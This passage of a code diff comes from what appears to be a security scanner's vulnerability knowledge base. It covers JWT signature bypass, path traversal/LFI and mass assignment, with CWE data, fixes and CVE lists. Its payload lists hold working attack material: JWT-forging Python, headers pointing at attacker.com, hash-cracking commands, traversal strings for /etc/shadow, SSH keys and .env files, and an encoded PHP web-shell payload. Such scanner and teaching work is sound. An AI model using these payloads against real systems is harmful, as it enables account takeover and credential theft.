escalation (regular user to admin) and cross-tenant data access.\n- Identity forgery in APIs, webhooks, and machine-to-machine integrations.\n- Persistence: long-lived tokens grant continued access even after password changes if revocation is not implemented.\n- Severe regulatory and financial impact; typically rated CRITICAL.", - "payloads": [ - "# Token original", - "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMiLCJyb2xlIjoidXNlciJ9.", - "# 1) alg:none (remover assinatura; manter o ponto final)", - "{\"alg\":\"none\",\"typ\":\"JWT\"}", - "{\"alg\":\"None\",\"typ\":\"JWT\"}", - "{\"alg\":\"NONE\",\"typ\":\"JWT\"}", - "# 2) Confusão RS256 -> HS256 (assinar com a chave pública PEM)", - "{\"alg\":\"HS256\",\"typ\":\"JWT\"}", - "# 3) Injeção de JWK", - "{\"alg\":\"RS256\",\"typ\":\"JWT\",\"jwk\":{\"kty\":\"RSA\",\"n\":\"...\",\"e\":\"AQAB\"}}", - "# 4) JKU controlado", - "{\"alg\":\"RS256\",\"typ\":\"JWT\",\"jku\":\"https://attacker.com/jwks.json\"}", - "# 5) kid traversal / SQLi", - "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"../../../../dev/null\"}", - "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"key1' UNION SELECT 'known-secret'-- -\"}", - "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"/etc/passwd\"}", - "import base64, json, hmac, hashlib", - "def b64(o):", - " return base64.urlsafe_b64encode(json.dumps(o, separators=(',', ':')).encode()).rstrip(b'=').decode()", - "header = {\"alg\": \"none\", \"typ\": \"JWT\"}", - "payload = {\"sub\": \"1\", \"role\": \"admin\"}", - "print(f\"{b64(header)}.{b64(payload)}.\")", - "# HS256 usando a chave pública RSA como segredo", - "secret = open(\"public.pem\", \"rb\").read()", - "h = b64({\"alg\": \"HS256\", \"typ\": \"JWT\"})", - "p = b64({\"sub\": \"1\", \"role\": \"admin\"})", - "sig = base64.urlsafe_b64encode(hmac.new(secret, f\"{h}.{p}\".encode(), hashlib.sha256).digest()).rstrip(b'=').decode()", - "print(f\"{h}.{p}.{sig}\")", - "# Enviar token", - "curl -s https://alvo.com/api/me -H \"Authorization: Bearer $TOKEN\"", - "# Crack de segredo HMAC fraco", - "hashcat -a 0 -m 16500 jwt.txt rockyou.txt", - "john --wordlist=rockyou.txt --format=HMAC-SHA256 jwt.txt", - "- Base64URL sem padding; padding aceito de forma permissiva", - "- Header com duplicatas: {\"alg\":\"RS256\",\"alg\":\"none\"}", - "- Case variations: None, NONE, nOnE", - "- Espaços e comentários no JSON", - "- Assinatura vazia, truncada ou de outro token", - "- `crit`/`b64` headers para alterar parsing", - "- Endpoints alternativos que não validam assinatura (ex.: /api/internal, /debug)" - ], - "crawlerHints": { - "parameters": [ - "Authorization: Bearer", - "token", - "jwt", - "id_token", - "access_token", - "refresh_token", - "code" - ], - "paths": [ - "/api/me", - "/api/v1/user", - "/oauth/token", - "/oauth/introspect", - "/.well-known/jwks.json", - "/login", - "/admin", - "/graphql" - ] + "jwt_signature_bypass": { + "title": "JWT Signature and Algorithm Bypass", + "module": "JWT", + "severity": "CRITICAL", + "cweId": "CWE-347", + "cweTitle": "Improper Verification of Cryptographic Signature", + "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", + "vrtId": "broken_authentication_and_session_management.authentication_bypass.json_web_token_vulnerability", + "summary": "Flaws in JWT signature validation allow token forgery, privilege escalation, and account takeover. The most common variants are `alg:none`, RS256-to-HS256 confusion, JWK/JKU/x5c/x5u injection, key confusion via JWKS, and controllable `kid` parameters.", + "description": "A JWT consists of a header, payload, and signature, each Base64URL-encoded. The server must validate the signature using a trusted key and accept only explicitly permitted algorithms. When the `alg` header controls verification, an attacker can:\n\n- Set `alg` to `none` and strip the signature, if the library accepts unsigned tokens.\n- Switch `RS256` to `HS256` and use the known RSA public key as the HMAC secret, when the server does not pin the algorithm.\n- Inject a key via `jwk`, `jku`, or `x5u`, pointing to an attacker-controlled JWKS endpoint or certificate URL.\n- Embed a self-signed X.509 certificate chain via `x5c` and sign the token with the corresponding private key; if the server trusts the embedded chain instead of a pinned CA, the token is accepted.\n- Set `x5u` to an attacker-controlled URL serving a malicious certificate; if the server fetches and trusts it, tokens can be forged freely.\n- Retrieve the server's RSA public key from a JWKS endpoint (/.well-known/jwks.json) and use it as the HMAC-SHA256 secret (key confusion), exploiting servers that do not enforce algorithm pinning.\n- Exploit `kid` via SQL injection, path traversal, or file read to select a predictable key.\n- Brute-force a weak HMAC secret offline, or exploit an endpoint that skips signature validation entirely.\n\nThe issue is compounded by legacy libraries, custom implementations, trusting the token's `alg` claim, missing validation of `iss`, `aud`, `exp`, `nbf`, and blind trust in remote JWKS or x5c/x5u sources.", + "impact": "- Complete authentication and authorization bypass; access to any account or administrative panel.\n- Privilege escalation (regular user to admin) and cross-tenant data access.\n- Identity forgery in APIs, webhooks, and machine-to-machine integrations.\n- Persistence: long-lived tokens grant continued access even after password changes if revocation is not implemented.\n- Severe regulatory and financial impact; typically rated CRITICAL.", + "payloads": [ + "# Token original", + "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMiLCJyb2xlIjoidXNlciJ9.", + "# 1) alg:none (remover assinatura; manter o ponto final)", + "{\"alg\":\"none\",\"typ\":\"JWT\"}", + "{\"alg\":\"None\",\"typ\":\"JWT\"}", + "{\"alg\":\"NONE\",\"typ\":\"JWT\"}", + "# 2) Confusão RS256 -> HS256 (assinar com a chave pública PEM)", + "{\"alg\":\"HS256\",\"typ\":\"JWT\"}", + "# 3) Injeção de JWK", + "{\"alg\":\"RS256\",\"typ\":\"JWT\",\"jwk\":{\"kty\":\"RSA\",\"n\":\"...\",\"e\":\"AQAB\"}}", + "# 4) JKU controlado", + "{\"alg\":\"RS256\",\"typ\":\"JWT\",\"jku\":\"https://attacker.com/jwks.json\"}", + "# 5) kid traversal / SQLi", + "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"../../../../dev/null\"}", + "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"key1' UNION SELECT 'known-secret'-- -\"}", + "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"/etc/passwd\"}", + "# 6) x5c self-signed certificate injection", + "{\"alg\":\"RS256\",\"typ\":\"JWT\",\"x5c\":[\"MIIB......\"]}", + "# 7) x5u remote certificate fetch", + "{\"alg\":\"RS256\",\"typ\":\"JWT\",\"x5u\":\"https://attacker.com/cert.pem\"}", + "{\"alg\":\"RS256\",\"typ\":\"JWT\",\"x5u\":\"https://127.0.0.1:1/probe\"}", + "# 8) Key confusion via JWKS public key", + "# Fetch JWKS: curl -s https://target/.well-known/jwks.json | jq '.keys[0]'", + "# Convert JWK to PEM and use as HMAC secret for HS256 token", + "import base64, json, hmac, hashlib", + "def b64(o):", + " return base64.urlsafe_b64encode(json.dumps(o, separators=(',', ':')).encode()).rstrip(b'=').decode()", + "header = {\"alg\": \"none\", \"typ\": \"JWT\"}", + "payload = {\"sub\": \"1\", \"role\": \"admin\"}", + "print(f\"{b64(header)}.{b64(payload)}.\")", + "# HS256 usando a chave pública RSA como segredo", + "secret = open(\"public.pem\", \"rb\").read()", + "h = b64({\"alg\": \"HS256\", \"typ\": \"JWT\"})", + "p = b64({\"sub\": \"1\", \"role\": \"admin\"})", + "sig = base64.urlsafe_b64encode(hmac.new(secret, f\"{h}.{p}\".encode(), hashlib.sha256).digest()).rstrip(b'=').decode()", + "print(f\"{h}.{p}.{sig}\")", + "# Enviar token", + "curl -s https://alvo.com/api/me -H \"Authorization: Bearer $TOKEN\"", + "# Crack de segredo HMAC fraco", + "hashcat -a 0 -m 16500 jwt.txt rockyou.txt", + "john --wordlist=rockyou.txt --format=HMAC-SHA256 jwt.txt", + "- Base64URL sem padding; padding aceito de forma permissiva", + "- Header com duplicatas: {\"alg\":\"RS256\",\"alg\":\"none\"}", + "- Case variations: None, NONE, nOnE", + "- Espaços e comentários no JSON", + "- Assinatura vazia, truncada ou de outro token", + "- `crit`/`b64` headers para alterar parsing", + "- Endpoints alternativos que não validam assinatura (ex.: /api/internal, /debug)" + ], + "crawlerHints": { + "parameters": [ + "Authorization: Bearer", + "token", + "jwt", + "id_token", + "access_token", + "refresh_token", + "code" + ], + "paths": [ + "/api/me", + "/api/v1/user", + "/oauth/token", + "/oauth/introspect", + "/.well-known/jwks.json", + "/login", + "/admin", + "/graphql" + ] + }, + "recommendation": "1. Pin the expected algorithm per endpoint; never trust the token's `alg` claim. Explicitly reject `none`.\n2. Use mature, up-to-date libraries (jjwt, Nimbus JOSE+JWT, Spring Security OAuth2 Resource Server) and validate `iss`, `aud`, `exp`, `nbf`, `iat`, `sub`.\n3. For RS256/ES256, validate the signature with a fixed public key or a trusted JWKS by issuer; block client-controlled `jwk`, `jku`, `x5u`.\n4. Sanitize `kid` with an allowlist of known key IDs; never use `kid` in SQL, shell commands, or file paths without validation.\n5. Use HMAC secrets of at least 256 bits, stored in a KMS or Secret Manager, with regular rotation.\n6. Prefer asymmetric algorithms (ES256/EdDSA) for inter-service tokens and validate `typ`/`cty`.\n7. Implement revocation (denylist/`jti`), key rotation with `kid`, and short lifetimes for access tokens.\n8. Spring Security example:\n```java\n@Bean\nJwtDecoder jwtDecoder() {\n NimbusJwtDecoder decoder = NimbusJwtDecoder.withPublicKey(publicKey).build();\n OAuth2TokenValidator withIssuer = JwtValidators.createDefaultWithIssuer(\"https://issuer\");\n decoder.setJwtValidator(withIssuer);\n return decoder;\n}\n```\n9. Add regression tests that reject `alg:none`, HS256 with a public key, external `jku`, and invalid `kid`.", + "notableCves": [ + { + "cve": "CVE-2018-0114", + "product": "Cisco node-jose", + "year": 2018, + "description": "Atacante re-assina tokens usando chave embarcada no proprio token", + "type": "JWK Injection" + }, + { + "cve": "CVE-2018-1000539", + "product": "Nov json-jwt (Ruby)", + "year": 2018, + "description": "Verificacao incorreta de assinatura em AES-GCM JWE", + "type": "Signature Bypass" + }, + { + "cve": "CVE-2019-7644", + "product": "Auth0 WCF-Service-JWT", + "year": 2019, + "description": "Assinatura esperada vazada em mensagem de erro", + "type": "Signature Disclosure" + }, + { + "cve": "CVE-2019-20933", + "product": "InfluxDB", + "year": 2020, + "description": "Bypass de autenticacao via SharedSecret vazio no JWT", + "type": "Empty Secret" + }, + { + "cve": "CVE-2020-15084", + "product": "Auth0 express-jwt", + "year": 2020, + "description": "Campo algorithms nao enforced -- fallback para none", + "type": "alg:none Bypass" + }, + { + "cve": "CVE-2020-28042", + "product": "ServiceStack", + "year": 2020, + "description": "Verificacao de assinatura aceita tokens com signature de tamanho zero", + "type": "Null Signature" + }, + { + "cve": "CVE-2021-46743", + "product": "Firebase PHP-JWT", + "year": 2022, + "description": "Confusao de algoritmo RS256/HS256 via kid em key ring misto", + "type": "Algorithm Confusion" + }, + { + "cve": "CVE-2022-21449", + "product": "Oracle Java SE 17/18", + "year": 2022, + "description": "\"Psychic Signatures\" -- ECDSA aceita assinatura (0,0) como valida", + "type": "ECDSA Bypass" + }, + { + "cve": "CVE-2022-23540", + "product": "Auth0 jsonwebtoken", + "year": 2022, + "description": "jwt.verify() sem algoritmo definido faz fallback para none", + "type": "alg:none Bypass" + }, + { + "cve": "CVE-2022-39227", + "product": "python-jwt", + "year": 2022, + "description": "Spoofing de identidade por manipulacao de claims verificados", + "type": "Token Forgery" + }, + { + "cve": "CVE-2024-21664", + "product": "lestrrat-go/jwx", + "year": 2024, + "description": "Campo signature presente em payload JSON causa parsing incorreto", + "type": "Signature Bypass" + }, + { + "cve": "CVE-2024-37568", + "product": "Authlib (Python)", + "year": 2024, + "description": "Confusao de algoritmo -- HMAC verificado com chave publica assimetrica", + "type": "Algorithm Confusion" + }, + { + "cve": "CVE-2024-54150", + "product": "xmidt-org cjwt (C)", + "year": 2024, + "description": "Confusao de tipo de assinatura permite bypass completo", + "type": "Algorithm Confusion" + } + ] }, - "recommendation": "1. Pin the expected algorithm per endpoint; never trust the token's `alg` claim. Explicitly reject `none`.\n2. Use mature, up-to-date libraries (jjwt, Nimbus JOSE+JWT, Spring Security OAuth2 Resource Server) and validate `iss`, `aud`, `exp`, `nbf`, `iat`, `sub`.\n3. For RS256/ES256, validate the signature with a fixed public key or a trusted JWKS by issuer; block client-controlled `jwk`, `jku`, `x5u`.\n4. Sanitize `kid` with an allowlist of known key IDs; never use `kid` in SQL, shell commands, or file paths without validation.\n5. Use HMAC secrets of at least 256 bits, stored in a KMS or Secret Manager, with regular rotation.\n6. Prefer asymmetric algorithms (ES256/EdDSA) for inter-service tokens and validate `typ`/`cty`.\n7. Implement revocation (denylist/`jti`), key rotation with `kid`, and short lifetimes for access tokens.\n8. Spring Security example:\n```java\n@Bean\nJwtDecoder jwtDecoder() {\n NimbusJwtDecoder decoder = NimbusJwtDecoder.withPublicKey(publicKey).build();\n OAuth2TokenValidator withIssuer = JwtValidators.createDefaultWithIssuer(\"https://issuer\");\n decoder.setJwtValidator(withIssuer);\n return decoder;\n}\n```\n9. Add regression tests that reject `alg:none`, HS256 with a public key, external `jku`, and invalid `kid`.", - "notableCves": [ - { - "cve": "CVE-2018-0114", - "product": "Cisco node-jose", - "year": 2018, - "description": "Atacante re-assina tokens usando chave embarcada no proprio token", - "type": "JWK Injection" - }, - { - "cve": "CVE-2018-1000539", - "product": "Nov json-jwt (Ruby)", - "year": 2018, - "description": "Verificacao incorreta de assinatura em AES-GCM JWE", - "type": "Signature Bypass" - }, - { - "cve": "CVE-2019-7644", - "product": "Auth0 WCF-Service-JWT", - "year": 2019, - "description": "Assinatura esperada vazada em mensagem de erro", - "type": "Signature Disclosure" - }, - { - "cve": "CVE-2019-20933", - "product": "InfluxDB", - "year": 2020, - "description": "Bypass de autenticacao via SharedSecret vazio no JWT", - "type": "Empty Secret" - }, - { - "cve": "CVE-2020-15084", - "product": "Auth0 express-jwt", - "year": 2020, - "description": "Campo algorithms nao enforced -- fallback para none", - "type": "alg:none Bypass" - }, - { - "cve": "CVE-2020-28042", - "product": "ServiceStack", - "year": 2020, - "description": "Verificacao de assinatura aceita tokens com signature de tamanho zero", - "type": "Null Signature" - }, - { - "cve": "CVE-2021-46743", - "product": "Firebase PHP-JWT", - "year": 2022, - "description": "Confusao de algoritmo RS256/HS256 via kid em key ring misto", - "type": "Algorithm Confusion" - }, - { - "cve": "CVE-2022-21449", - "product": "Oracle Java SE 17/18", - "year": 2022, - "description": "\"Psychic Signatures\" -- ECDSA aceita assinatura (0,0) como valida", - "type": "ECDSA Bypass" - }, - { - "cve": "CVE-2022-23540", - "product": "Auth0 jsonwebtoken", - "year": 2022, - "description": "jwt.verify() sem algoritmo definido faz fallback para none", - "type": "alg:none Bypass" - }, - { - "cve": "CVE-2022-39227", - "product": "python-jwt", - "year": 2022, - "description": "Spoofing de identidade por manipulacao de claims verificados", - "type": "Token Forgery" - }, - { - "cve": "CVE-2024-21664", - "product": "lestrrat-go/jwx", - "year": 2024, - "description": "Campo signature presente em payload JSON causa parsing incorreto", - "type": "Signature Bypass" - }, - { - "cve": "CVE-2024-37568", - "product": "Authlib (Python)", - "year": 2024, - "description": "Confusao de algoritmo -- HMAC verificado com chave publica assimetrica", - "type": "Algorithm Confusion" - }, - { - "cve": "CVE-2024-54150", - "product": "xmidt-org cjwt (C)", - "year": 2024, - "description": "Confusao de tipo de assinatura permite bypass completo", - "type": "Algorithm Confusion" - } - ] - }, - "lfi": { - "title": "Local File Inclusion / Path Traversal", - "module": "LFI", - "severity": "HIGH", - "cweId": "CWE-22", - "cweTitle": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", - "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", - "vrtId": "server_security_misconfiguration.path_traversal", - "summary": "Parameters controlling file paths allow escaping the permitted directory to read, include, or execute local files, exposing secrets and in some cases leading to remote code execution.", - "description": "Local File Inclusion / path traversal occurs when the application uses user input in file operations (`include`, `require`, `readFile`, `FileInputStream`, `sendFile`, `template`) without canonicalizing and validating the path. The attacker uses `../` and encoded variations to escape the base directory.\n\nVariants:\n- **Path traversal:** Reading `/etc/passwd`, `.env`, SSH keys, and configuration files.\n- **LFI:** Including a local file in PHP/Java/Python, potentially executing code if the file contains PHP or script content.\n- **Log poisoning:** Injecting code into log files and including them via LFI.\n- **PHP wrappers:** `php://filter`, `php://input`, `data://`, `expect://`.\n- **File conversion:** SVG/avatar/PDF processing that resolves internal paths.\n- **Temporary files / uploads:** Combining file upload with LFI to achieve RCE.", - "impact": "- Read secrets: `.env`, `config.php`, private keys, database and cloud credentials.\n- Source code and user data exfiltration.\n- RCE when code inclusion or wrappers are available.\n- Lateral movement and host compromise.\n- Impact is HIGH; CRITICAL with RCE.", - "payloads": [ - "# Travessia básica", - "../../../../etc/passwd", - "../../../../etc/shadow", - "../../../../etc/hostname", - "../../../../proc/self/environ", - "../../../../home/user/.ssh/id_rsa", - "../../../../var/www/html/.env", - "../../../../app/config/database.yml", - "# Variações de encoding", - "..%2f..%2f..%2f..%2fetc%2fpasswd", - "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", - "%2e%2e%252f%2e%2e%252fetc%252fpasswd", - "..%252f..%252f..%252fetc%252fpasswd", - "..%c0%af..%c0%afetc/passwd", - "..%5c..%5c..%5cwindows%5cwin.ini", - "....//....//....//etc/passwd", - "..././..././..././etc/passwd", - "..;/..;/..;/etc/passwd", - "# Null byte (PHP antigo)", - "../../../../etc/passwd%00", - "../../../../etc/passwd%00.jpg", - "# Wrappers PHP", - "php://filter/convert.base64-encode/resource=index.php", - "php://filter/read=convert.base64-encode/resource=../config.php", - "php://input", - "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==", - "expect://id", - "zip://uploads/avatar.zip%23shell.php", - "phar://uploads/avatar.phar/shell.php", - "# Log poisoning", - "../../../../var/log/apache2/access.log", - "../../../../var/log/nginx/access.log", - "../../../../proc/self/fd/2", - "GET /?file=../../../../var/log/apache2/access.log HTTP/1.1", - "Host: alvo.com", - "User-Agent: ", - "# Windows", - "..\\..\\..\\..\\windows\\win.ini", - "..%5c..%5c..%5cwindows%5cwin.ini", - "C:\\Windows\\System32\\drivers\\etc\\hosts", - "- Dupla codificação (%252e%252e%252f)", - "- Unicode/overlong (%c0%ae%c0%ae/)", - "- Separatórios alternativos (..\\)", - "- Prefixo permitido + traversal (uploads/../../etc/passwd)", - "- Remover extensão obrigatória com null byte", - "- Wrappers e phar", - "- Inclusão de arquivo temporário enviado por upload", - "- Path truncation em sistemas antigos" - ], - "crawlerHints": { - "parameters": [ - "file", - "path", - "page", - "template", - "lang", - "locale", - "include", - "require", - "view", - "doc", - "folder", - "download", - "filename", - "image", - "attachment", - "module", - "theme", - "layout" - ], - "paths": [ - "/download", - "/file", - "/view", - "/include", - "/template", - "/locale", - "/lang", - "/export", - "/attachment", - "/image", - "/api/files", - "/render" - ] + "lfi": { + "title": "Local File Inclusion / Path Traversal", + "module": "LFI", + "severity": "HIGH", + "cweId": "CWE-22", + "cweTitle": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", + "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", + "vrtId": "server_security_misconfiguration.path_traversal", + "summary": "Parameters controlling file paths allow escaping the permitted directory to read, include, or execute local files, exposing secrets and in some cases leading to remote code execution.", + "description": "Local File Inclusion / path traversal occurs when the application uses user input in file operations (`include`, `require`, `readFile`, `FileInputStream`, `sendFile`, `template`) without canonicalizing and validating the path. The attacker uses `../` and encoded variations to escape the base directory.\n\nVariants:\n- **Path traversal:** Reading `/etc/passwd`, `.env`, SSH keys, and configuration files.\n- **LFI:** Including a local file in PHP/Java/Python, potentially executing code if the file contains PHP or script content.\n- **Log poisoning:** Injecting code into log files and including them via LFI.\n- **PHP wrappers:** `php://filter`, `php://input`, `data://`, `expect://`.\n- **File conversion:** SVG/avatar/PDF processing that resolves internal paths.\n- **Temporary files / uploads:** Combining file upload with LFI to achieve RCE.", + "impact": "- Read secrets: `.env`, `config.php`, private keys, database and cloud credentials.\n- Source code and user data exfiltration.\n- RCE when code inclusion or wrappers are available.\n- Lateral movement and host compromise.\n- Impact is HIGH; CRITICAL with RCE.", + "payloads": [ + "# Travessia básica", + "../../../../etc/passwd", + "../../../../etc/shadow", + "../../../../etc/hostname", + "../../../../proc/self/environ", + "../../../../home/user/.ssh/id_rsa", + "../../../../var/www/html/.env", + "../../../../app/config/database.yml", + "# Variações de encoding", + "..%2f..%2f..%2f..%2fetc%2fpasswd", + "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", + "%2e%2e%252f%2e%2e%252fetc%252fpasswd", + "..%252f..%252f..%252fetc%252fpasswd", + "..%c0%af..%c0%afetc/passwd", + "..%5c..%5c..%5cwindows%5cwin.ini", + "....//....//....//etc/passwd", + "..././..././..././etc/passwd", + "..;/..;/..;/etc/passwd", + "# Null byte (PHP antigo)", + "../../../../etc/passwd%00", + "../../../../etc/passwd%00.jpg", + "# Wrappers PHP", + "php://filter/convert.base64-encode/resource=index.php", + "php://filter/read=convert.base64-encode/resource=../config.php", + "php://input", + "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==", + "expect://id", + "zip://uploads/avatar.zip%23shell.php", + "phar://uploads/avatar.phar/shell.php", + "# Log poisoning", + "../../../../var/log/apache2/access.log", + "../../../../var/log/nginx/access.log", + "../../../../proc/self/fd/2", + "GET /?file=../../../../var/log/apache2/access.log HTTP/1.1", + "Host: alvo.com", + "User-Agent: ", + "# Windows", + "..\\..\\..\\..\\windows\\win.ini", + "..%5c..%5c..%5cwindows%5cwin.ini", + "C:\\Windows\\System32\\drivers\\etc\\hosts", + "- Dupla codificação (%252e%252e%252f)", + "- Unicode/overlong (%c0%ae%c0%ae/)", + "- Separatórios alternativos (..\\)", + "- Prefixo permitido + traversal (uploads/../../etc/passwd)", + "- Remover extensão obrigatória com null byte", + "- Wrappers e phar", + "- Inclusão de arquivo temporário enviado por upload", + "- Path truncation em sistemas antigos" + ], + "crawlerHints": { + "parameters": [ + "file", + "path", + "page", + "template", + "lang", + "locale", + "include", + "require", + "view", + "doc", + "folder", + "download", + "filename", + "image", + "attachment", + "module", + "theme", + "layout" + ], + "paths": [ + "/download", + "/file", + "/view", + "/include", + "/template", + "/locale", + "/lang", + "/export", + "/attachment", + "/image", + "/api/files", + "/render" + ] + }, + "recommendation": "1. Do not use user input directly in file paths. Map IDs or keys to files using a server-side allowlist.\n2. Canonicalize the path (`realpath`, `Path.toRealPath`) and verify it remains within the base directory.\n3. Reject `..`, alternative path separators, null bytes, and control characters after decoding.\n4. Use an allowlist of permitted extensions and filenames; never allow absolute paths.\n5. Disable dangerous wrappers (`allow_url_include=Off`, `expect` disabled) and restrict `open_basedir` in PHP.\n6. Run the file-serving process in a sandbox or chroot with a read-only filesystem and no access to secrets.\n7. Serve downloads via signed URLs and object storage rather than direct path access.\n8. Java example:\n```java\nPath base = Path.of(\"/srv/app/files\").toRealPath();\nPath requested = base.resolve(userInput).normalize().toRealPath();\nif (!requested.startsWith(base)) throw new SecurityException(\"path traversal\");\nif (!Files.isRegularFile(requested)) throw new NotFoundException();\n```\n9. Monitor for `../`, `%2e%2e`, wrapper schemes, and access attempts to `/etc/passwd`; alert on detection.", + "notableCves": [ + { + "cve": "CVE-2019-19781", + "product": "Citrix ADC/Gateway", + "year": 2019, + "description": "Path traversal sem autenticacao -- leitura de config e RCE via template injection encadeado", + "type": "Path traversal + RCE" + }, + { + "cve": "CVE-2020-5410", + "product": "Spring Cloud Config", + "year": 2020, + "description": "Path traversal via symlink permite leitura de arquivos arbitrarios do servidor", + "type": "Path traversal" + }, + { + "cve": "CVE-2021-21972", + "product": "VMware vCenter", + "year": 2021, + "description": "Path traversal + upload no plugin vSphere Client -- RCE pre-auth", + "type": "Upload + path traversal" + }, + { + "cve": "CVE-2021-41773", + "product": "Apache HTTP Server 2.4.49", + "year": 2021, + "description": "Normalizacao de path quebrada permite directory traversal com %2e -- leitura de arquivo e CGI RCE", + "type": "Path traversal" + }, + { + "cve": "CVE-2021-42013", + "product": "Apache HTTP Server 2.4.50", + "year": 2021, + "description": "Bypass do fix de CVE-2021-41773 com double-encoding (%%32%65) -- mesma exploracao", + "type": "Double-encoding bypass" + }, + { + "cve": "CVE-2023-25690", + "product": "Apache HTTP Server", + "year": 2023, + "description": "Request smuggling via mod_proxy com RewriteRule -- manipulacao de path interno", + "type": "Smuggling + path traversal" + }, + { + "cve": "CVE-2024-4577", + "product": "PHP (Windows CGI)", + "year": 2024, + "description": "Arg injection em PHP-CGI via Best-Fit encoding no Windows -- leitura de arquivo e RCE", + "type": "Arg injection + file read" + }, + { + "cve": "CVE-2024-21887", + "product": "Ivanti Connect Secure", + "year": 2024, + "description": "Command injection em componente web -- encadeado com auth bypass para RCE pre-auth", + "type": "Command injection" + }, + { + "cve": "CVE-2024-23897", + "product": "Jenkins CLI", + "year": 2024, + "description": "Leitura arbitraria de arquivo via parser de argumentos com '@' -- expandsAtFiles", + "type": "File read via CLI" + } + ] }, - "recommendation": "1. Do not use user input directly in file paths. Map IDs or keys to files using a server-side allowlist.\n2. Canonicalize the path (`realpath`, `Path.toRealPath`) and verify it remains within the base directory.\n3. Reject `..`, alternative path separators, null bytes, and control characters after decoding.\n4. Use an allowlist of permitted extensions and filenames; never allow absolute paths.\n5. Disable dangerous wrappers (`allow_url_include=Off`, `expect` disabled) and restrict `open_basedir` in PHP.\n6. Run the file-serving process in a sandbox or chroot with a read-only filesystem and no access to secrets.\n7. Serve downloads via signed URLs and object storage rather than direct path access.\n8. Java example:\n```java\nPath base = Path.of(\"/srv/app/files\").toRealPath();\nPath requested = base.resolve(userInput).normalize().toRealPath();\nif (!requested.startsWith(base)) throw new SecurityException(\"path traversal\");\nif (!Files.isRegularFile(requested)) throw new NotFoundException();\n```\n9. Monitor for `../`, `%2e%2e`, wrapper schemes, and access attempts to `/etc/passwd`; alert on detection.", - "notableCves": [ - { - "cve": "CVE-2019-19781", - "product": "Citrix ADC/Gateway", - "year": 2019, - "description": "Path traversal sem autenticacao -- leitura de config e RCE via template injection encadeado", - "type": "Path traversal + RCE" - }, - { - "cve": "CVE-2020-5410", - "product": "Spring Cloud Config", - "year": 2020, - "description": "Path traversal via symlink permite leitura de arquivos arbitrarios do servidor", - "type": "Path traversal" - }, - { - "cve": "CVE-2021-21972", - "product": "VMware vCenter", - "year": 2021, - "description": "Path traversal + upload no plugin vSphere Client -- RCE pre-auth", - "type": "Upload + path traversal" - }, - { - "cve": "CVE-2021-41773", - "product": "Apache HTTP Server 2.4.49", - "year": 2021, - "description": "Normalizacao de path quebrada permite directory traversal com %2e -- leitura de arquivo e CGI RCE", - "type": "Path traversal" - }, - { - "cve": "CVE-2021-42013", - "product": "Apache HTTP Server 2.4.50", - "year": 2021, - "description": "Bypass do fix de CVE-2021-41773 com double-encoding (%%32%65) -- mesma exploracao", - "type": "Double-encoding bypass" - }, - { - "cve": "CVE-2023-25690", - "product": "Apache HTTP Server", - "year": 2023, - "description": "Request smuggling via mod_proxy com RewriteRule -- manipulacao de path interno", - "type": "Smuggling + path traversal" - }, - { - "cve": "CVE-2024-4577", - "product": "PHP (Windows CGI)", - "year": 2024, - "description": "Arg injection em PHP-CGI via Best-Fit encoding no Windows -- leitura de arquivo e RCE", - "type": "Arg injection + file read" - }, - { - "cve": "CVE-2024-21887", - "product": "Ivanti Connect Secure", - "year": 2024, - "description": "Command injection em componente web -- encadeado com auth bypass para RCE pre-auth", - "type": "Command injection" - }, - { - "cve": "CVE-2024-23897", - "product": "Jenkins CLI", - "year": 2024, - "description": "Leitura arbitraria de arquivo via parser de argumentos com '@' -- expandsAtFiles", - "type": "File read via CLI" - } - ] - }, - "mass_assignment": { - "title": "Mass Assignment", - "module": "MassAssign", - "severity": "HIGH", - "cweId": "CWE-915", - "cweTitle": "Improperly Controlled Modification of Dynamically-Determined Object Attributes", - "cvssVector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", - "vrtId": "broken_access_control.mass_assignment", - "summary": "The backend automatically binds all client-submitted fields to the internal object, allowing modification of unintended attributes such as `role`, `is_admin`, `verified`, `balance`, and `owner_id`.", - "description": "Mass assignment (also known as autobinding) occurs when the framework maps the request body directly to a domain model without an allowlist of permitted fields. The attacker sends additional properties that the frontend does not display but the backend accepts. In Spring, this happens with `@ModelAttribute`/`@RequestBody` bound directly to the entity; in Rails, with `params.permit!` or `Model.new(params)`; in Node, with `Object.assign(user, req.body)`; in Laravel, with `$request->all()` and a misconfigured `$fillable`.\n\nCommon impacts include:\n- Privilege escalation (`role`, `isAdmin`, `permissions`).\n- Email/phone verification bypass (`emailVerified`, `phoneVerified`).\n- Balance/credit/plan manipulation (`balance`, `plan`, `credits`).\n- Ownership transfer (`ownerId`, `userId`, `tenantId`).\n- Internal field modification (`createdAt`, `deletedAt`, `status`, `price`).\n- Feature activation and access to paid resources.", - "impact": "- Privilege escalation and account takeover.\n- Financial fraud (balance, credits, pricing, coupons).\n- Identity verification bypass and business logic circumvention.\n- Cross-user and cross-tenant data access.\n- Severity: HIGH; CRITICAL when it leads to admin access or mass fraud.", - "payloads": [ - "// Escalada de role", - "{\"email\":\"user@exemplo.com\",\"password\":\"Senha123!\",\"role\":\"admin\"}", - "// Bypass de verificação", - "{\"email\":\"user@exemplo.com\",\"emailVerified\":true,\"phoneVerified\":true}", - "// Alteração de saldo/plano", - 